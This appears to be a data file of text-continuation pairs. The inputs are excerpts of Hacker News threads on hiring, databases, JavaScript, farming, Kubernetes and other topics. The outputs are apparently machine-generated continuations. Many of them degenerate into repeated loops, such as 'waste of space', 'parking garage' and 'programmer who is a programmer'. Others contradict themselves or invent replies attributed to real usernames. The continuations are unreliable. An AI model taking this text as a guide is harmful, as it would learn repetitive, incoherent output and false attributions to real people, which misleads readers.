time:\n\n[https://twitter.com/KeziyahL/status/1155154616281178114](https://twitter.com/KeziyahL/status/1155154616281178114)\n\n~~~\nSamReidHughes\nAny program teaching CS or software with relatively open admissions will have\nits discontented students, because there are simply people who don't have the\ncognitive ability to handle it, and their inability to do the homework is\nalways the teacher's fault.\n\n \nHow Europe is totally owning our in-flight electronics policy, again - Libertatea\nhttp://www.washingtonpost.com/blogs/the-switch/wp/2013/11/14/how-europe-is-totally-owning-our-in-flight-electronics-policy-again/\n======\nselectodude\nWait, how is a flat rate internet service using WiFi worse than allowing\nairlines to implement some sort of LTE antenna booster on every plane so I\nhave the opportunity to have no idea what I'm about to pay to use my phone?"} +{"output_text": " of our search infrastructure are deployed to production\nand we're constantly improving them: [https://data.blog/2016/05/03/state-of-\nwordpress-com-search-in...](https://data.blog/2016/05/03/state-of-wordpress-\ncom-search-infrastructure-2016/)\n\n\\- We're working on a new search infrastructure that will be deployed to\nproduction in the next few months: [https://data.blog", "input_text": " \"wow factor\" are very important\nto you. User experience is paramount. You have the ability to identify UX pain\npoints and resolve them without direction. You like to stay current with\ntechnology and are a self starter.\n\nThe team is small so we have high ownership of our software. We are\nresponsible for the full software development cycle, starting at design and\nending with deployment. It has always been important to us to stay current\nwith the latest technology and use as needed.\n\nTech Stack: Ruby on Rails, Node, PHP, AWS, React, Docker, MySql, Postgres\n\n[https://careers.tenable.com/?p=job/oFof4fw6&__jvst=JobBoard&...](https://careers.tenable.com/?p=job/oFof4fw6&__jvst=JobBoard&__jvsd=Hacker_News&nl=1)\n\n------\ngibrown\nAutomattic (WordPress.com, Jetpack, WooCommerce,.blog, Polldaddy, Gravatar) |\nSearch Wrangler | Full Time | REMOTE\n\nWe're a distributed company with employees in >50 countries. Help us influence\nsearch and recommendations for the 27% of the Web that runs on WordPress.\n\nWe're looking to take our search infrastructure up a few notches. A bit on\nwhat we're working on:\n\n\\- We have some good distributed systems deployed that we are constantly\nimproving: [https://data.blog/2016/05/03/state-of-wordpress-com-\nelastics...](https://data.blog/2016/05/03/state-of-wordpress-com-\nelasticsearch-systems-2016/)\n\n\\- Various versions"} +{"output_text": " few ideas. We\u2019re not sure if it\u2019s because we\u2019re a new startup, or because we\u2019re a small business, or because we\u2019re a startup that\u2019s using PayPal to bring in new users, or because we\u2019re a startup that\u2019s using PayPal to bring in new users, or because we\u2019re a startup that\u2019s using PayPal to bring in new users, or because we\u2019re a startup that\u2019s using PayPal to bring in new", "input_text": " service as a funding method for payment\nprocessors to collect payments on behalf of merchants. Upon review of\nyour account, it appears that you are offering an aggregation service that\nallows multiple merchants to process transactions that are against various\nAcceptable Use rules. The service you provide allows said merchants to\ncircumvent our policies.

While we wish you the best of success in your future business endeavors, we\nrespectfully ask that you seek another method of payment for your online\nbusiness.

Your PayPal Account has been limited and there will be no appeals to the\ndecision. Any remaining funds in your account balance will be held for 180\ndays from the date of the limitation. Once 180 days has passed, the funds\nwill be available for withdrawal.

If you have any further questions, please feel free to contact us again.

Sincerely,\nJulie\nPayPal Compliance Department\nPayPal, an eBay Company

Responses to this email address are not monitored. Please send any\nadditional questions that you may have to compliance@paypal.com.

Translation: Your account has been frozen and there\u2019s nothing you can do about it. \nUpon referring to PayPal\u2019s Acceptable Use Policy, as they suggest, I find nothing to suggest we are not in compliance. In fact, we seem to be the exact kind of merchant PayPal would want using its services. We are bringing them new users by requiring our customers to pay with PayPal, we are building a global marketplace that is ideal case study for PayPal\u2019s robust risk management and fraud management and we\u2019re a budding new startup that enables a brand new community of merchants and transactions, off of which PayPal will be able to profit.

We\u2019re still unclear why PayPal froze our account, but we\u2019ve got a"} +{"output_text": " than\nyou actually have would be a problem.\n\n~~~\njedberg\n> If placement rates aren't critical to you getting students, then you can say\n> it is 50% publicly and see if that affects your enrollment numbers or not.\n> Otherwise, it would stand to reason that stating a higher placement rate\n> than you actually have would be a problem.\n\nI don't think that's true. If you have a high placement rate, you can say it", "input_text": " incessant twitter evangelizing as annoying as the next\nguy, I\u2019m not sure any article I\u2019ve seen is painting a realistic picture about\nLambda.\n\nMedia outlets have incentives to either paint you as the second coming of\nChrist or as Satan. It appears Lambda, for a while, actually succeeded at\nconvincing journalists they were the former.\n\nAfter a while, people get bored with that though. The incentives that drive\nclicks flip. Suddenly Lambda is now Satan. Burn it down! Downvote all\nsympathizers!\n\nHere\u2019s the reality: all models for education can work for certain people in\ncertain instances. Lambda is definitely the best choice for some people. But\nno single company is going to solve something like \u201ceducation\u201d or \u201chealthcare\u201d\nbecause they are political institutions tied to the power dynamics that\ndetermine how society is arranged. You cannot brute force this without gaining\ninfluence over government itself.\n\nThis is not as simple as disrupting where people buy their shampoo or where\nthey see ads.\n\n~~~\nraiyu\nThere are always two sides to every story, but when you have outright\nfraudulent claims I don't think you can say that the article is simply\npainting the school as \"Satan\"\n\nIf you stated that you have an 86% placement record and in reality it is 50%,\nthat is a pretty large discrepancy. If the original 86% placement was from the\nfirst 70-ish students and now you are over 2500 students, that seems a bit\nfraudulent.\n\nIf placement rates aren't critical to you getting students, then you can say\nit is 50% publicly and see if that affects your enrollment numbers or not.\nOtherwise, it would stand to reason that stating a higher placement rate"} +{"output_text": " that in any detail.\n\n------\njedberg\nI'm not sure I understand the point of this article. It's a bunch of\nhistorical trivia, and it's not like the author is trying to convince anyone\nthat this is the best way to farm.\n\n~~~\njedberg\nI guess I should clarify that I'm not trying to convince anyone that this is\nthe best way to farm. I'm just trying to understand why anyone would want to", "input_text": " and at one stage dominated the farming practices of Europe.\n\nfrom [https://www.britannica.com/topic/Norfolk-four-course-\nsystem](https://www.britannica.com/topic/Norfolk-four-course-system)\n\n> In the Norfolk four-course system, wheat was grown in the first year,\n> turnips in the second, followed by barley, with clover and ryegrass\n> undersown, in the third. The clover and ryegrass were grazed or cut for feed\n> in the fourth year. The turnips were used for feeding cattle and sheep in\n> the winter. This new system was cumulative in effect, for the fodder crops\n> eaten by the livestock produced large supplies of previously scarce animal\n> manure, which in turn was richer because the animals were better fed. When\n> the sheep grazed the fields, their waste fertilized the soil, promoting\n> heavier cereal yields in following years.\n\n~~~\nstinos\n> dates back to the 17th century\n\nNote that crop rotation itself (2 course/3 course) is much, much older. And\nWikipedia claims it was first done in the 16th century in what now is Belgium.\n\nActually, there are a bunch of things presented as 'new' in the article while\nI read nothing which I never read before, and many of the solutions bascialy\ncome down to 'do it as our ancestors did it' so it's not all that new either.\nThe vast scale of it though is new. And the rigid economic system attached to\nit.\n\n~~~\nTwirrim\n2 course / 3 course used to rely on fallow periods, IIRC, though it's been\nmore than 20 years since I covered"} +{"output_text": "\"It is because you acknowledge things like freedom of belief. There can be\nonly one God. This sort of incident occurs because you let heretics like them\nout of your control. That, and our parliament is impotent...\"\n\n[0]\n[http://www.giantitp.com/forums/showthread.php?t=1435](http://www.giantitp.com/forums/showthread.php?t=", "input_text": "fenomas\n> any attempt to \"satisfy the marketplace\" will always corrupt a translation\n\nI don't know how you're getting this from the article - everything he says\nabout his efforts boils down to trying to change language that sounds flat and\nlifeless in translation into something that lives and breathes, and I think\nhe's absolutely right to have made that attempt. (even if he misses the mark\nsometimes, like with the castlevania \"what is a man?\" bit...)\n\nLiving in JP I wind up seeing a lot of movies and TV with one language in the\naudio and the other in subtitles, and personally, \"faithful\" translations\ndrive me bonkers with how flat and boring and explanatory they sound.\n\nMy pet theory is that it ultimately stems from the source languages being so\nlinguistically different. I once read a book where the translator said in his\nnotes (about Voltaire) \"But mostly I've just tried to stay out of his way, for\nI find that he speaks very good English already\", and I've often thought how\nhard it is to imagine a JP>EN translator feeling the same way.\n\n~~~\nmrob\nI think a less accurate translation can sometimes result in a better product,\nbut the translator needs to be very good to pull it off. The most notable\nexample I can think of is Vagrant Story, which was widely praised for its\nlocalization.\n\nExample from The GIA's review[0]:\n\n\"Lines as bland in the original Japanese as\n\n\"It is because you acknowledge things like freedom of belief. There can be\nonly one God. This sort of incident occurs because you let heretics like them\nout of your control. That, and our parliament is impotent...\"\n\nbecome:\n\n"} +{"output_text": ".com/oni-labs/stratified-coffee-script>\n\nIt's a bit more verbose, but it's also a bit more readable.\n\n------\njashkenas\nI'm not sure if this is a good idea, but I've been thinking about a way to\nmake the CoffeeScript compiler more friendly to the kind of code that's\ngenerated by the \"classic\" JavaScript frameworks.\n\nFor example, if you're using Back", "input_text": " http request and suspend, i'll have done the CNN get for\nnothing.\n\nOf course in this case this only means a wasted request. But what in case of\nside effects?\n\n~~~\njerf\nIgnoring WebWorkers, the underlying Javascript engine is single-threaded, so\nthe problem you describe can't exist. Once you start down a code path, it will\ncontinue until it finishes and yields execution.\n\nFurther, \"hold\" is almost certainly a magical statement that actually compiles\ninto a pattern of calls to.setTimeout and various handlers, and has no\nliteral existence, so there probably isn't any point at which the hold is\n\"executed\".\n\nYou can't actually turn a single-thread runtime into a threaded runtime at the\nuser level. You can apply a series of increasingly sophisticated hacks that\nmay make program like it's multithreaded, but you can't escape the fact you\nhave only one program counter. (This isn't a criticism of the library. It\nlooks quite useful. It just doesn't magically make browser Javascript truly\nmultithreaded.)\n\nThis approach is actually quite useful, and is part of what makes the event-\nbased programming style practical. For all the stuff that's going on, you do\nalways have the guarantee that any given event handler will fully execute, and\nno other hunk of code will be able to observe the half-executed state of any\ngiven handler. Without that property you'd basically just be doing\nconventional multithreading with a really inconvenient code structure.\n\n------\njashkenas\nAfter the IcedCoffeeScript post the other day, I found Oni Labs' version --\nwhich I don't remember seeing before -- Stratified CoffeeScript:\n\n The employees are also asking for zero contracts with fossil fuel companies\n> that use Amazon\u2019s AI technology to help them accelerate oil and gas\n> extraction\n\nTo me, it seems like activists spend too much time focusing on the producers\nof things like fossil fuels, and not enough time on the consumers.\n\nI have nothing against companies which are producing fossil fuels, in general,\nsince they are usually producing a product that has at least some genuine\nvalue in many cases. If everyone stopped drilling for oil immediately, it\nwould certainly have incredibly negative consequences. I do have a problem\nwith people who are excessively using these types of products, since they are\ncreating waste that damages the environment - if everyone stopped driving\ntheir car everywhere and instead biked when they were able to, it would\ncertainly have a very positive effect.\n"} +{"output_text": " the \"Talking Heads\" feature, I think it's a waste of time. I think\nthey are a waste of space. I think the front page is a waste of space. I think\nthe front page is a waste of time.\n\nI think the front page is a waste of space.\n\nI think the front page is a waste of time.\n\nI think the front page is a waste of space.\n\nI think the front page is a waste", "input_text": " jump point. My eye can scan far more quickly than I can click back and\nforth through pages.\n\nThe classic wastes of time for me on the Times are:\n\n\\- Video content. Really, text tells the story far more quickly most of the\ntime. A video feature can be a benefit (and for some rare stories it's hugely\nuseful), but I _don't_ think it belongs on the homepage.\n\n\\- The \"Talking Heads\" features. There's something in how these are set up\nthat frequently makes for a compelling lede, but fails to deliver. The format\njust doesn't work for me.\n\n\\- The formulaic three-headlines-per-section on the front page. Some days some\nsections deserve far more news, and some sections (sorry, but \"Dining\",\n\"Fashion\", and \"Automobiles\" hold little or no interest) deserve none. To me.\n\nRutledge has succeeded in vastly simplifying the Times's front page. _By\nremoving most of the informational content and utility from it._ His design\nworks for mobile (and as he notes, the Times has a good mobile site). It's not\na good full-featured site design.\n\n~~~\nrjd\nVideo content brings in 20x the ad rate of display ads. The news agency I\nworked for had a \"push video for all content\" stance because of this, I assume\nall other news sites have the same stance.\n\nYou bring up the biggest argument of them all, I had it every day with the\nsite I was responsible for. I'm a minimalist myself, and the person I reported\nto was a everything and the kitchen sink guy. We had some heated arguments\nfollowed by days of ignoring each other LOL\n\nI hated"} +{"output_text": "I think the point is that the code is not self-documenting because it is\nwritten in a way that is not self-documenting.\n\n~~~\nwccrawford\nI don't think that's the point. The point is that the code is not self-\ndocumenting because it is written in a way that is not self-documenting.\n\nThe code is not self-documenting because it is written in a way that is not\nself-document", "input_text": " cover my bills

So HN, what do you think I should do?\n======\njacquesm\nRepeat sales to the same customers are your mainstay as a consultant, how come\nthere are no repeat jobs?\n\n~~~\nphpnode\nBecause most of the people I've targeted have been small businesses who need a\nwebsite, but after the website is built there's not much opportunity to sell\nmore services. I do have a few customers that will give me more work in\nfuture, but most have spent their budgets and are waiting for their next\nfinancial year. I have some meetings this week that should drum up a bit more\nwork which will help but probably not enough to keep myself afloat.\n\n~~~\njacquesm\nThat sucks. Ok, let me check my 'to do' list and see if there is anything on\nthere that could be farmed out without first digging in to a code base that is\na decade old.\n\nWhat is your hourly rate? Or do you do fixed price jobs?\n\n~~~\nphpnode\nI've sent you an email, thanks.\n\n \n\nYour Code is Not Self Documenting - darthdeus\nhttp://progfu.com/post/2668280164/your-code-is-not-self-documenting\n\n======\nwccrawford\nEvery comment there disagrees with the post. Were you hoping to come here and\nfind people who will agree?\n\nI also disagree with it. Good code is as self-documenting as possible. Any\ngotchas should be explained in comments, but correct naming is way more\nvaluable than comments explaining what a function does.\n\nAny code that fails to be self-documenting needs to be refactored immediately.\n\n~~~\nerikb\n"} +{"output_text": " that the state is not allowed to run a deficit.\n\n~~~\nshostack\nI'm not sure I understand the distinction.\n\nThe state is allowed to run a deficit, but it is not allowed to run a surplus.\n\nIf the state is allowed to run a deficit, then it is allowed to run a surplus.\n\nIf the state is allowed to run a deficit, then it is allowed to run a surplus.\n\nIf the state is allowed to run", "input_text": " approval to build an office tower in\nthis area, you should need to get someone to agree to build an apartment tower\nnearby with a similar number of units. I mean, I'm not saying they need to be\nowned by the same people or that those apartments will be occupied only by\npeople who work in that office building, but you need housing nearby where\nthere are jobs.\n\n------\nBadassFractal\nThis is obviously extreme, but we're in an extreme situation here. Vote with\nyour feet and get out of the city, move away from the Bay. Only once the upper\nmiddle class feels some pain will anything be done about it. Until then, it's\nnot their problem, they can work around it thanks to the flexibility wealth\naffords you. I don't see how else this will be fixed, it has to get much worse\nbefore it gets any better.\n\n~~~\ndahdum\nSF ballooned their deficit by billions _during_ the last bull market. Over $10\nbillion of unfunded pension and healthcare costs.\n\nThe next recession is going to be brutal.\n\n~~~\nshostack\nHow does that work exactly with the massive surplus the state is running? [1]\ncouple those Donna be used to fill this gap?\n\n[1]\n[https://www.politifact.com/california/statements/2018/dec/18...](https://www.politifact.com/california/statements/2018/dec/18/jerry-\nbrown/does-california-have-budget-surplus-nearly-30-bill/)\n\n~~~\ndahdum\nCalifornia has $63b and growing in unfunded pension liabilities. The surplus\nis only a cash cushion.\n\nThe problem is"} +{"output_text": "http://www.designer-\ntools.com/tools/design-tools.html>\n\nC) I'm a programmer, but I'm not a designer. I'm a programmer who is a\ndesigner. I'm a programmer who is a programmer who is a designer. I'm a\nprogrammer who is a programmer who is a programmer who is a programmer who is\na programmer who is a programmer who is a programmer who is a programmer who is\na programmer", "input_text": " well, that you would change. Do little usability\ntests on your sites, even on sites that aren't yours with family or peers.\n\nPart C - I don't know as much about startups. I do know that having a designer\non hand is much nicer to work with than outsourced. Ultimately I think it\nwould be like dealing with anyone else outsourced in terms of reliability.\n\nPart D - I actually started as a designer, and IE 6 crushed my soul. I am\nstill very interested in UX though. I think starting as a programmer, I would\njust try to recreate designs you think are appealing. I would also try to\nlearn the grid system. Use CSS frameworks as training wheels that have a solid\ngrid, and decent typography (eg. Blueprint). I started constraining myself to\nHTML and CSS, and I think you should too, leave Photoshop alone until you can\nmake decent designs in just HTML and CSS. Then, when you are completely\ncomfortable using the two, then look to PS to add details that you can't\nachieve otherwise. The big obstacle you will run into, is that you will feel\nlike you aren't making as good of designs as designer X. Design in my opinion\nis much more personal and emotional than programming so don't let that get to\nyou.\n\nGood Luck!\n\n------\nearlyriser\nA) I start with mockups, then the polished design and at last the programming.\nFor users, the interface is all that they have, then the UX stuff needs to be\ndefined very early (in my case). I like 37signals \"epicenter design\" approach.\nStart with the more important pages and with the more important information\nchunks of these pages.\n\nB) useit.com and my collection maybe <"} +{"output_text": " become a maintenance nightmare.\n\n~~~\njlgaddis\n> _This is premature optimization of the kind you want to avoid._\n\nI'm not sure I agree with that.\n\nI've seen this done in production systems and it's been a huge performance\nimprovement.\n\n~~~\nda_chicken\n> _I 've seen this done in production systems and it's been a huge\n> performance improvement._\n\nI've seen it done in production", "input_text": "point is that everyone I've talked to from developers to the CEO understand\nthat OpenStack needs to be its own project. We (individually and as a company)\nare trying to shepherd the project.\n\n------\njjdoe\n\"I think that Rackspace is trying to control Openstack rather than influence\nit.\"\n\nSo that's why you're up in arms over them making a move to _reduce_ their\npresence on the board? Sure, they should have handled it better, but it seems\nsilly to jump from a bumbling move to a power grab, especially when the point\nwas to reduce the near-total domination of Rackspace on the board after the\nAnso purchase.\n\nWonder if there are more sour grapes behind this than you're letting on.\n\n------\nlsc\nis anyone renting out infrastructure using the OpenStack API? Seems to me like\nit'll be more valuable both to consumers and to providers once there are\nseveral inter-operable providers. Also, social proof would make the\ntraditionally conservative VPS providers more comfortable, I think.\n\n \nMy Favorite PostgreSQL Queries and Why They Matter - grzm\nhttps://severalnines.com/blog/my-favorite-postgresql-queries-and-why-they-matter\n======\nda_chicken\n> 6\\. UPDATE multiple rows with a CASE expression\n\nOh, man, as a seasoned DBA/Data Analyst, don't do this unless you have a\nreally good reason to. This is premature optimization of the kind you want to\navoid.\n\nYes, it's really neat to update everything in a single statement, and in\n_some_ situations it can perform significantly better, but CASE expressions in\nan UPDATE statement quickly"} +{"output_text": "\n\nWe\u2019re looking for a Senior.NET Developer to join our team. You\u2019ll be working\non a variety of projects, including:\n\n\\- Building out a new web application for our sales team\n\n\\- Building out a new web application for our customer service team\n\n\\- Building out a new web application for our warehouse team\n\n\\- Building out a new web application for our fulfillment team\n\n\\- Building out a new web application for our marketing team\n\n\\-", "input_text": " done. \n /__/ |========| \\__\\ \n //// |________| \\\\\\\\ \n \"\"' [||||||||] `\"\" \n `\"\"\"\"\"\"\"\"' \n \n\nYou can reach out directly to me (gal at stitchfix.com) - I'm a Principal\nEngineer at Stitchfix and the hiring manager for this position.\n\nHere is a job posting roughly covering this role:\n[https://www.stitchfix.com/careers?gh_jid=455296&gh_src=r8m5v...](https://www.stitchfix.com/careers?gh_jid=455296&gh_src=r8m5v11)\nand Stitch Fix's \"Multithreaded\" Tech Jobs blog & site\n([http://technology.stitchfix.com](http://technology.stitchfix.com)) has a lot\nmore about the team and other positions (we\u2019re also hiring iOS, DevOps, and\nUX)\n\n~~~\nelcritch\nI get a kick out of the ASCII art on a job board posting. It's unique and\nthanks for the smile it brought!\n\n------\nrepspark\nRepSpark | Senior.NET Developer | Irvine, CA | Full-time, ONSITE, $75k-$100k\n\nWe\u2019re a casual, nine-person software development team based in Orange County,\nCA (south of Los Angeles). We provide many large apparel brands with intuitive\nand efficient sales workflows, enabling sales representatives to place bulk\norders for brick and mortar stores (e.g. how O\u2019Neill ends up in Tilly\u2019s or how\nArmada ends up on Backcountry)."} +{"output_text": "\nhistory.\n\n~~~\nrvz\nI'm sorry but I don't see how this is a new post. It's a link to a thread\nwhich was posted yesterday.\n\n~~~\ndang\nI'm not sure what you mean. The thread is from yesterday, and the link is to\nit.\n\n~~~\nrvz\nI'm sorry but I don't see how this is a new post. It's a link to a thread which\nwas posted", "input_text": "id=21883882)\n\n[https://news.ycombinator.com/item?id=21860713](https://news.ycombinator.com/item?id=21860713)\n\n[https://news.ycombinator.com/item?id=21053366](https://news.ycombinator.com/item?id=21053366)\n\n[https://news.ycombinator.com/item?id=20897029](https://news.ycombinator.com/item?id=20897029)\n\n[https://news.ycombinator.com/item?id=20110253](https://news.ycombinator.com/item?id=20110253)\n(small)\n\n[https://news.ycombinator.com/item?id=19694006](https://news.ycombinator.com/item?id=19694006)\n\nOther large threads can be found among various crystals:\n\n[https://hn.algolia.com/?dateRange=all&page=0&prefix=true&que...](https://hn.algolia.com/?dateRange=all&page=0&prefix=true&query=%22crystal%22%20comments%3E20&sort=byDate&type=story&storyText=none)\n\n~~~\nrvz\nI'm sorry but this is a new post (posted yesterday) which appears to be\nspecifically about 0.34, which should be worth discussing about the changelog?\n\n~~~\ndang\nLinks don't imply that something shouldn't have been posted! They are just for\ncurious readers to explore further. It's a way of sharing the riches of HN's"} +{"output_text": "\n\nI can help you with your product roadmap: I\u2019ve done this for more than 10\nteams at Microsoft. I will help you find and measure the metrics that are most\nindicative of your product success.\n\nI can help you with your product marketing: I\u2019ve done this for more than 10\nteams at Microsoft. I will help you find and measure the metrics that are most\nindicative of your product success.\n\nI can help", "input_text": "/read/wkbttymdcmqt](https://www.overleaf.com/read/wkbttymdcmqt)\n\nPersonal site: robotoverlordmanual.com\n\nEmail: marksaroufim@gmail.com\n\nHi I\u2019m Mark, I\u2019m an Applied ML Scientist and Product Designer. I'm the founder\nof yuri.ai where my goal is to make it really easy for game developers to\nbalance their games using Reinforcement Learning. I\u2019m looking for a job\nbecause the Lebanese banking system is collapsing and I\u2019ll soon need income to\nsupport my parents.\n\nHow I can help you:\n\nI can write top notch documentation and can explain anything to anyone: My\nbook robotoverlordmanual.com is a visual and accessible robotics, ML and math\ntextbook with over 28000 monthly viewers. I\u2019m very comfortable writing and\nspeaking.\n\nI can manage your most complex projects: I was the BI lead when Microsoft was\nselling its display ads business to AOL, I made sure Outlook AI efforts were\ncompliant. I\u2019ve worked on projects with 100+ stakeholders and have\nbootstrapped projects where I was the first engineer to 10 engineers.\n\nI can turn your research into a product: I\u2019ve done this with Yuri, I\u2019ve done\nthis at Microsoft when I was working on a next gen email ranker and a part of\nspeech tagger and I\u2019ve done this at NASA\u2019s Jet Propulsion Laboratory when I\nwas setting up their computer security anomaly detection pipeline from scratch\n\nI can setup your entire BI infrastructure and measure what matters: I\u2019ve done\nthis for more than 10 teams at Microsoft. I will help you find and measure the\nmetrics that are most indicative of your product success."} +{"output_text": " to a 64-bit value.\n\n~~~\nkbenson\nI'm aware of that, but I'm not sure I understand the difference. I'm not\nfamiliar with the details of the implementation, but I'm guessing that the\n128-bit value is just a bit more efficient than the 64-bit value, and that\nthere's no real difference in the way the data is stored.\n\n~~~\ngrzm\nThe 128-bit value is a bit more efficient", "input_text": " talk. I was the guy\nwho asked about performance considerations of joins in Postgres using UUIDs.\n\nThis post reads like it's vaguely implementing what should be in a queue\nbackend. There's a locked_at field in the schema, furthermore should this not\nbe performed via...FOR UPDATE?\n\n~~~\nskrebbel\nCare to share the answer to your question about uuid join performance? I've\nhad a hard time finding much about that on the internet.\n\n~~~\ncraigkerstiens\nSure, there is definitely a little extra overhead on the join performance,\nthough my experience I've seen so many other issues become the biggest\nbottleneck before joins of UUIDs. We regularly used UUID as identifies at\nHeroku Postgres and use them at Citus as well and they work extremely well for\nus.\n\nIt is of note that we're actually using the UUID datatype though and not just\ngenerating a UUID and throwing it into a text field.\n\n~~~\nkbenson\n> It is of note that we're actually using the UUID datatype though and not\n> just generating a UUID and throwing it into a text field.\n\nI was thinking that a UUID datatype implemented as a series of ints could have\nfairly good join performance, since you can effectively treat it as a series\nof separate smaller int indices that you join across, and I imagine that's a\nwell understood and optimized problem for years now. A text UUID field though,\nugh, that just seems so wasteful even before you get to optimization\ntechniques.\n\n~~~\ngrzm\nReading your comment, it's not clear to me whether you're aware that the UUID\ndatatype in PostgreSQL is a 128-bit value as opposed"} +{"output_text": "=1307353600&partner=rssnyt&emc=rss\n======\ngibsonf1\nI'm not sure if this is a good thing or not. I think it's a good thing that\nGoogle is trying to get into the search business, but I think it's a bad thing\nthat they are trying to do it by buying out a company that is already doing\nthe same thing.\n\nI think that Yahoo is a great company and", "input_text": " not\nhard.\n\n------\nhiepnv\n:D, so you need to write down that key or remember it when you want to use on\nanother device\n\nor if that key is provided somehow,such as pushing a request to provider to\nget it using internet, then what happened when there is no connection but gsm\n\nor imagine when you use that key for few devices? what will be your main\ndevice and you want to suspend the others?\n\nMany problems must be solved if you'd like to use a key instead of a SIM card\n:D\n\n------\nmobinni\nBecause like all things, people love options. Consumerism would fail if\neverything was generic.\n\n~~~\nToenex\nSurely I'd have more options if I could use any handset?\n\nI'm a computer literate guy but I still end up carrying 2 handsets - one work,\none personal - most of the time because the handsets aren't truly generic.\n\n~~~\nAndrewDucker\nWhat do you mean generic? People like different screen sizes, are willing to\npay different amounts for different amounts of storage, processor speeds, etc.\n\n~~~\nToenex\nI mean pick up my wife's phone, log in and now it's mine.\n\n~~~\nAndrewDucker\nAaah, Android can do a lot of that. The latest versions support multiple user\nlogins, so you can share a phone other than the (which you'd have to swap).\n\n \nMicrosoft Said to Be Talking With News Corporation About Joint Yahoo Bid - gibsonf1\nhttp://www.nytimes.com/2008/04/10/technology/10google.html?ei=5065&en=d0335626b3163fd3&ex"} +{"output_text": "\nI'm not sure I understand your question.\n\nEach container has its own memory allocation.\n\n~~~\nswitchbak\nI'm not sure I understand your question.\n\nEach container has its own memory allocation.\n\n~~~\nscprodigy\nI'm not sure I understand your question.\n\nEach container has its own memory allocation.\n\n~~~\nswitchbak\nI'm not sure I understand your question.\n\nEach container has its own memory", "input_text": " silly to suggest that articulate people are uneducated. If that's not an\noxymoron, what is?\n\n------\nepo\nIt's probably a humour piece.\n\nThe trouble is that many foreigners tend to take it at face value because it\npanders to racist stereotypes they hold about the British.\n\n------\nsurfingdino\nI tried to get into Cambridge. The first question I heard was \"What make of\ncar does your father drive to work?\" I told them and they politely rejected\nme.\n\n------\npatkai\nBy the way, does the FT have editors or something?\n\n \nHypernetes: Bringing Security and Multi-Tenancy to Kubernetes - scprodigy\nhttp://blog.kubernetes.io/2016/05/hypernetes-security-and-multi-tenancy-in-kubernetes.html\n======\nswitchbak\nThey mention that this helps cure some issues with regards to resource sharing\n/ memory usage, etc. But does each VM still have a static allocation of\nmemory?\n\nOne of the main benefits I have now is that if I run a number of containers\nthat all take various amounts of memory, I can just throw them on and they\nshare memory amongst each other quite efficiently. If I have to make a static\nallocation of memory for a VM, I'll typically choose a conservative memory\nnumber, and usually under-utilize the machine, wasting a lot of memory per-\ninstance. Not so bad since I chose per-pod, but still an issue.\n\nAs it happens, this same issue is why I'm leaning towards lightweight native\napplications these days instead of an aggressive greedy virtual machine that\ngrabs a bunch of heap. Golang/Rust in particular.\n\n~~~\nscprodigy"} +{"output_text": "interior. I look at the reception area, the lobby, the bathrooms, the\nbreakrooms, the kitchen, the cafeteria, the conference rooms, the offices, the\nhallways, the elevators, the parking lot, the parking garage, the parking\ngarage, the parking garage, the parking garage, the parking garage, the\nparking garage, the parking garage, the parking garage, the parking garage,\nthe parking garage, the parking garage, the parking", "input_text": " promise, when interviewing and you get asked questions that you\nknow the answer you gave to be 100% and they say it's wrong and tell you an\nanswer that isn't correct. Run!\n\nThat interviewer or interviewers indirectly just told you that they dont\nfollow or are going against what the documentation stateted.(in my case how\nelasticsearch is configured)\n\nI.e. you will work in an environment that will leave you with knowledge that\nis incorrect and useless to use in another interview.\n\n------\nHelloNurse\nApart from egregious assholes and dysfunctional relationships (like the\nmentioned husband and wife teams), there are milder and more \"diffuse\" kinds\nof toxic environment.\n\nFor example: within the company, IT is a second class citizen compared to\nproduction, so as a new developer you would start at the bottom of the bottom\nwith no valid career perspectives. Low budget, bad offices, low pay,\nappearance of overwork are clear signs.\n\nFor example: aberrant company culture. Excessive secrecy and/or security\nmeasures (who do they think they are?), extravagant recreational resources\n(are they actually working?), excessive luxury (not bad by itself, but you\nwant them to spend that money on your salary), excessive conviviality, etc.\n\nThere is a meta-warning sign about company culture: refusal to show working\nconditions and procedures to you because of conscious \"discretion\" and\nsubconscious shame. Also, you could like, accept as normal, or justify because\nthey make sense in context some of the bad attitudes you are aware of, failing\nto see they are a problem.\n\n------\nMalcolmDiggs\nWhen I walk into a company (for an interview), I try to get a good look at the\n"} +{"output_text": "anything with pen and paper.\n\n~~~\nTheOtherHobbes\nBecause the plot would have been based on a mathematical model.\n\nThe plot would have been based on a mathematical model of the physics of the\nspace-time continuum.\n\nThe plot would have been based on a mathematical model of the physics of\ngravitation.\n\nThe plot would have been based on a mathematical model of the physics of\nelectromagnetism.\n\nThe plot would have been", "input_text": " the same. It would have been a lot harder\nto do any degree of realism.\n\n~~~\nerdevs\nYeah, Interstellar definitely scratched this itch for me, and I appreciated it\nfor doing so.\n\nCertainly the theory has developed greatly since then. But being even somewhat\ninformed about the contemporary physical theory would've made the sequence\neven more impactful and satisfying, for me personally.\n\nI don't think technique would've necessarily required greater complexity or\ndifficulty. For example, one might have used the same planing technique, but\nused different patterning and colorization, based on more mathematically\nderived outputs. Not suggesting any kind of simulation or super-advancement.\nJust using the same technique, but informing the visuals based on more\nphysical theory.\n\n~~~\nTheOtherHobbes\nI think that would have been literally impossible in 1969.\n\nFirstly there was no theory of wormholes back then. Black holes were\nincredibly obscure mathematical abstractions in physics journals that weren't\naccessible to most people.\n\nSecondly, this was 1968, when the world's faster supercomputer ran at 36MHz.\nEvans and Sutherland were just getting started when 2001 was being made. There\nwere no GPUs, no digital frame stores, and monochrome bitmapped displays were\nstill exotic.\n\nIt's easy to take computers for granted today. You can plot and animate almost\nanything, and you can do it at home - or on your phone.\n\nNot so in the late 1960s. Mathematically derived animations would have needed\na mountain of cash to pay for computer time just to get something very rough\nand approximate.\n\n~~~\nerdevs\nWhy do you assume computers would've needed to be involved? One can plot\n"} +{"output_text": "\n\n------\njoshu\nI'm not sure I agree with the \"do what you love\" advice.\n\nI think it's better to do what you're good at.\n\nI'm not good at math, but I'm good at programming.\n\nI'm not good at math, but I'm good at writing.\n\nI'm not good at math, but I'm good at writing.\n\nI'm not good at math, but I'm good", "input_text": " really sucks. I consider my self very lucky\nfor having a full-time hobby that is rewarding and can pay the bills.\n\n------\nkirillzubovsky\nDude, whatever you choose to do, please do yourself a favor and ignore the\nbullshit advice that starts with - \"this is how the real world works...\" That\nnonsense only comes from people who had settled for the average.\n\nLife works in any way that you want it to work.\n\nLook, if you don't want to do the shit work, don't do it, but don't bitch and\nmoan and complain about it. Instead, find a way to still get shit done, while\nnot doing the work you don't want to do.\n\nYou don't like doing homework? Nobody does. It's a waste of time and you will\nnot 